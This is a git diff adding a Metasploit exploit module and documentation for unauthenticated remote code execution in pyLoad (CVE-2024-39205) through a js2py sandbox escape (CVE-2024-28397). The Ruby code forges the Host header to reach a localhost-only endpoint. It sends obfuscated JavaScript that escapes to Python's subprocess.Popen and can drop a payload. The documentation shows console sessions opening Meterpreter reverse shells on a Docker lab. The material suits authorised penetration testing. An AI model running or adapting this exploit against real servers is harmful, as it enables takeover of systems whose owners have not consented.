diff --git a/Gemfile.lock b/Gemfile.lock index 81bf73fcf103..4120b6578820 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -439,7 +439,7 @@ GEM rex-random_identifier rex-text ruby-rc4 - rex-random_identifier (0.1.12) + rex-random_identifier (0.1.13) rex-text rex-registry (0.1.5) rex-rop_builder (0.1.5) diff --git a/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md new file mode 100644 index 000000000000..14df3d228275 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md @@ -0,0 +1,147 @@ +## Vulnerable Application +CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate +javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference +to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions +and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 +is the latest version of js2py which was released Nov 6, 2022. + +CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source +download manager designed to automate file downloads from various online sources. Pyload is vulnerable because +it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. +This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we +can bypass this restriction in order to access the API to achieve unauth RCE. + +## Verification Steps + +1. Start a vulnerable instance of pyLoad using docker +2. Start msfconsole +3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205` +4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options +5. Run: `run` + +### Docker Setup + +``` +docker run -d \ + --name=pyload-ng \ + -e PUID=1000 \ + -e PGID=1000 \ + -e TZ=Etc/UTC \ + -p 8000:8000 \ + -p 9666:9666 \ + --restart unless-stopped \ + lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85 +``` + +## Scenarios +### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74) +``` +msf6 > use linux/http/pyload_js2py_cve_2024_39205 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options + +Module options (exploit/linux/http/pyload_js2py_cve_2024_39205): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9666 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Base path + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 172.16.199.1 +[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800 + +meterpreter > getruid +[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details. +meterpreter > getuid +Server username: abc +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : (Linux 6.10.11-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74) +``` +msf6 > use linux/http/pyload_js2py_cve_2024_39205 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1 +target => 1 +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Successfully tested command injection. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 172.16.199.1 +[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800 +[*] Command Stager progress - 100.00% done (823/823 bytes) + +meterpreter > getuid +Server username: abc +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : (Linux 6.10.11-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb b/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb new file mode 100644 index 000000000000..fbc26239bb5e --- /dev/null +++ b/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/stopwatch' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)', + 'Description' => %q{ + CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate + javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference + to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions + and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 + is the latest version of js2py which was released Nov 6, 2022. + + CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source + download manager designed to automate file downloads from various online sources. Pyload is vulnerable because + it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. + This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we + can bypass this restriction in order to access the API to achieve unauth RCE. + }, + 'Author' => [ + 'Marven11', # PoC + 'Spencer McIntyre', # Previous pyLoad module which this is based on + 'jheysel-r7' # Metasploit module + ], + 'References' => [ + [ 'CVE', '2024-39205' ], + [ 'CVE', '2024-28397' ], + [ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ], + [ 'URL', 'https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g' ], + [ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ], + ], + 'DisclosureDate' => '2024-10-28', + 'License' => MSF_LICENSE, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } + ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + Opt::RPORT(9666), + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def check + sleep_time = rand(5..10) + + _, elapsed_time = Rex::Stopwatch.elapsed_time do + execute_command("sleep #{sleep_time}") + end + + vprint_status("Elapsed time: #{elapsed_time} seconds") + + unless elapsed_time > sleep_time + return CheckCode::Safe('Failed to test command injection.') + end + + CheckCode::Vulnerable('Successfully tested command injection.') + rescue Msf::Exploit::Failed + return CheckCode::Safe('Failed to test command injection.') + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + + case target['Type'] + when :unix_cmd + if execute_command(payload.encoded) + print_good("Successfully executed command: #{payload.encoded}") + end + when :linux_dropper + execute_cmdstager + end + end + + def javascript_payload(cmd) + js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript }) + + js = <<~EOS + let #{js_vars[:command]} = "#{cmd}" + let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]} + let #{js_vars[:getattr]}, #{js_vars[:obj]} + + #{js_vars[:base]} = '__base__' + #{js_vars[:getattribute]} = '__getattribute__' + #{js_vars[:hacked]} = Object.getOwnPropertyNames({}) + #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}] + #{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__") + #{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}] + #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}] + #{js_vars[:sub_class]} = '__subclasses__'; + + function #{js_vars[:findpopen]}(#{js_vars[:o]}) { + let #{js_vars[:result]}; + for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) { + let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}] + if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") { + return #{js_vars[:item]} + } + if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) { + return #{js_vars[:result]} + } + } + } + + #{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate() + EOS + + opts = { 'Strings' => true } + + js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) + js.obfuscate(memory_sensitive: true) + js.to_s + end + + def execute_command(cmd, _opts = {}) + cmd.gsub!(/\\/, '\\\\\\\\') + cmd.gsub!(/"/, '\"') + vprint_status("Executing command: #{cmd}") + crypted_b64 = Rex::Text.encode_base64(rand(4)) + + res = send_request_cgi( + 'method' => 'POST', + 'headers' => { + 'Host' => "127.0.0.1:#{datastore['RPORT']}" + }, + 'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'), + 'vars_post' => { + 'crypted' => crypted_b64, + 'jk' => javascript_payload(cmd) + } + ) + + # The command will either cause the response to timeout or return a 500 + return if res.nil? + return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :(' + + fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}") + end + +end